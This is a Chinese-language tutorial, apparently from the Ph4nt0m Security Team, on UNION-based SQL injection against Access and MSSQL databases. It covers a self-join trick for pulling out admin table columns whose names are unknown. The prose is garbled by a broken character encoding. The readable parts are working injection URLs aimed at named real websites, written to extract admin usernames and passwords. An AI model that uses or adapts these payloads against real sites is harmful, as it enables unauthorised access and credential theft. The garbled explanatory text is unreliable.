Author:&nbsp;Mix<br>PST<br>Ph4nt0m&nbsp;Security&nbsp;Team<br>http://www.ph4nt0m.org/&nbsp;<br><br>ʹSQLעaccessʱ򣬾Ϊġ²ؼֶ⡣ʹñܹܿٵĽ⡣Ҫ<br>1.ʹaccessݿϵͳSQLע©mssqlݿҲ֧<br>2.Ҫ֪ڵııԼµһֶһ㶼idֶ&nbsp;<br>ʹñԶ׼ڣ<br>1.ԲҪţŶԱûӰ<br>2.Կٵ֪ݵݣһĲ½⣬ġַȵȶͨɱ<br>3.SQL&nbsp;Server˴Ϣ֮ȻԿٵõ<br>4.ڲ֪ؼ֪ݵģֶȻܹȡ֪<br>զһѣʵܼ򵥡һѵ㣬һĵһѵڿԺ󶼺뵽ǵڶѵȴȷе鷳<br>ȿһunion﷨ҲǱݵҪԭͼʾ<br><br>ʹSQL&nbsp;InjectunionԺֻҪselectѯõͬôSQLִԺ󣬵õĲѯͱunionselectõݡԾпܽҪݱһ򵥵ӣ<br>http://www.chinakj.com/SoftView.asp?SoftID=3903%20union%20select%20username,password,1,1,1%20from%20admin<br>һSQL&nbsp;Serverķر˴ϢĻرԲܹķֱӵõݡͨSQL&nbsp;InjectunionԺ󣬿Դ󵨵Ĳ²⵽ִеSQLˣ<br>select&nbsp;*&nbsp;from&nbsp;Soft&nbsp;where&nbsp;SoftID=3903&nbsp;union&nbsp;select&nbsp;username,password,1,1,1&nbsp;from&nbsp;admin<br>ôʾSoft12ֵֶõطͻʾadminusernamepasswordֶΣ31ҲͬˡԣǵȻҲֱӵõAdmin_UserInfousernamepasswordֶΡʾ<br>http://www.chinakj.com/SoftView.asp?SoftID=3903%20union%20select%20username,password,1,1,1%20from%20Admin_UserInfo%20where%20username&lt;&gt;<br>ϾǼ򵥵unionʵֶݵĻȡͨӵı⡣Ϊʵڲֶ֪ܹͬõеĿĵʱǵȻӦ뵽ʹ*ֶֻҪ*ֶټϼ1ĿͽűеselectѯеֶĿͬôͬԵõֶ֪ˡ<br>ǵһһ䣺select&nbsp;id,hit,softname,softURL&nbsp;from&nbsp;soft&nbsp;where&nbsp;id=10ܹҳʾֶsoftnamesoftURLôʹunionʱӦõ*ڵλãһadminнṹΪid&nbsp;username&nbsp;passwordôעʱӦSQL䣺select&nbsp;1,*&nbsp;from&nbsp;adminʹ*usernamepsswordֶδsoftnamesoftURLֶελϣҳܹҪusernamepasswordֶιԹԵĽȻֻ򵥵һ˵кܶʱһʮֶΣʮֶΡôűʹselect&nbsp;*ѯĻڹunion&nbsp;selectӦ1ʮֶΡеȻǻһЩֶβҳʾҪunion&nbsp;select*ڵλˡӦòҶ˵ˡ<br>˵﷨ȫSQL&nbsp;ServerAccessSQL&nbsp;ServerȽϣС׼ˡSQL&nbsp;Server棬ʹselect&nbsp;*,1,1,1&nbsp;from&nbsp;adminѯõļ¼Ϸֱǣ*&nbsp;1&nbsp;1&nbsp;1accessѯĽ1&nbsp;1&nbsp;1&nbsp;*Ҳ˵㽫*ŴȺ1мʲôλϣ*Ǵڲѯ档һӵ˵<br>http://www.hnp2p.com/mov/view.asp?id=1916%20union%20(select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16%20from%20admin)<br>վʹõaccessݿ⣬Կܹʾֶ23781011ֶȴʾȥ14,15,16*ţҳͬʾ֣Ҳ˵adminеֶ϶id&nbsp;username&nbsp;passwordֽṹǳidֶֶζܹ²֡SQL&nbsp;Serverʹõķƶ*ŵλܹݱaccessǲеġԭaccessʼս*ֶηڲѯݼ档AccessѯĽԶǣ1,2,3,4,5,6,7,8,9,10,11,12,13*ӡΪ˽*ֶαʾǱ뽫*ֶƶλϡȿ<br>http://www.hnp2p.com/mov/view.asp?id=1916%20union%20select%201,*%20from%20(((admin%20as%20a%20inner%20join%20admin%20as%20b%20on%20a.id=b.id)%20inner%20join%20admin%20as%20c%20on%20c.id=b.id)%20inner%20join%20admin%20as%20d%20on%20d.id=c.id)%20inner%20join%20admin%20as%20e%20on%20d.id=e.id<br>ִͨУղѯõʽ<br>1&nbsp;2&nbsp;3&nbsp;4&nbsp;5&nbsp;6&nbsp;7&nbsp;8&nbsp;9&nbsp;10&nbsp;11&nbsp;12&nbsp;13&nbsp;14&nbsp;15&nbsp;16<br>1,a.id&nbsp;a.name&nbsp;a.pwd&nbsp;b.id&nbsp;b.name&nbsp;b.pwd&nbsp;c.id&nbsp;c.name&nbsp;c.pwd&nbsp;d.id&nbsp;d.name&nbsp;d.pwd&nbsp;e.id&nbsp;e.name&nbsp;e.pwd<br>е3͵7ֶþҪusernamepasswordֶεֵʹõjoin﷨ӣӣӶõһҪĲѯ<br>JoinΪȫӡӺӣȥ鿴SQL﷨accessǲѡһӷʽЧͬȫӡһ򵥵join﷨<br>SELECT&nbsp;*<br>FROM&nbsp;1&nbsp;INNER&nbsp;JOIN&nbsp;2&nbsp;ON&nbsp;1.=2.ţ<br>INNER&nbsp;JOIN&nbsp;3&nbsp;<br>ON&nbsp;1.=3.<br>תΪʵǣ<br>select&nbsp;1,2,3,4,*&nbsp;<br>from&nbsp;((admin&nbsp;as&nbsp;a&nbsp;inner&nbsp;join&nbsp;admin&nbsp;as&nbsp;b&nbsp;on&nbsp;a.id=b.id)&nbsp;<br>inner&nbsp;join&nbsp;admin&nbsp;as&nbsp;c&nbsp;on&nbsp;c.id=b.id)<br>inner&nbsp;join&nbsp;admin&nbsp;as&nbsp;d&nbsp;on&nbsp;d.id=c.id<br>ָʽͿ԰ǸurlִеSQL޷ǾǲϵʹjoinݱadminȻͨ1ǰֶĿֻҪ乹õôֶ֪ȫܹҳʾѵˡ<br>ˣȫˡдɳĻҲǺпܵġֻṹʱûʹ԰~~~Ǻ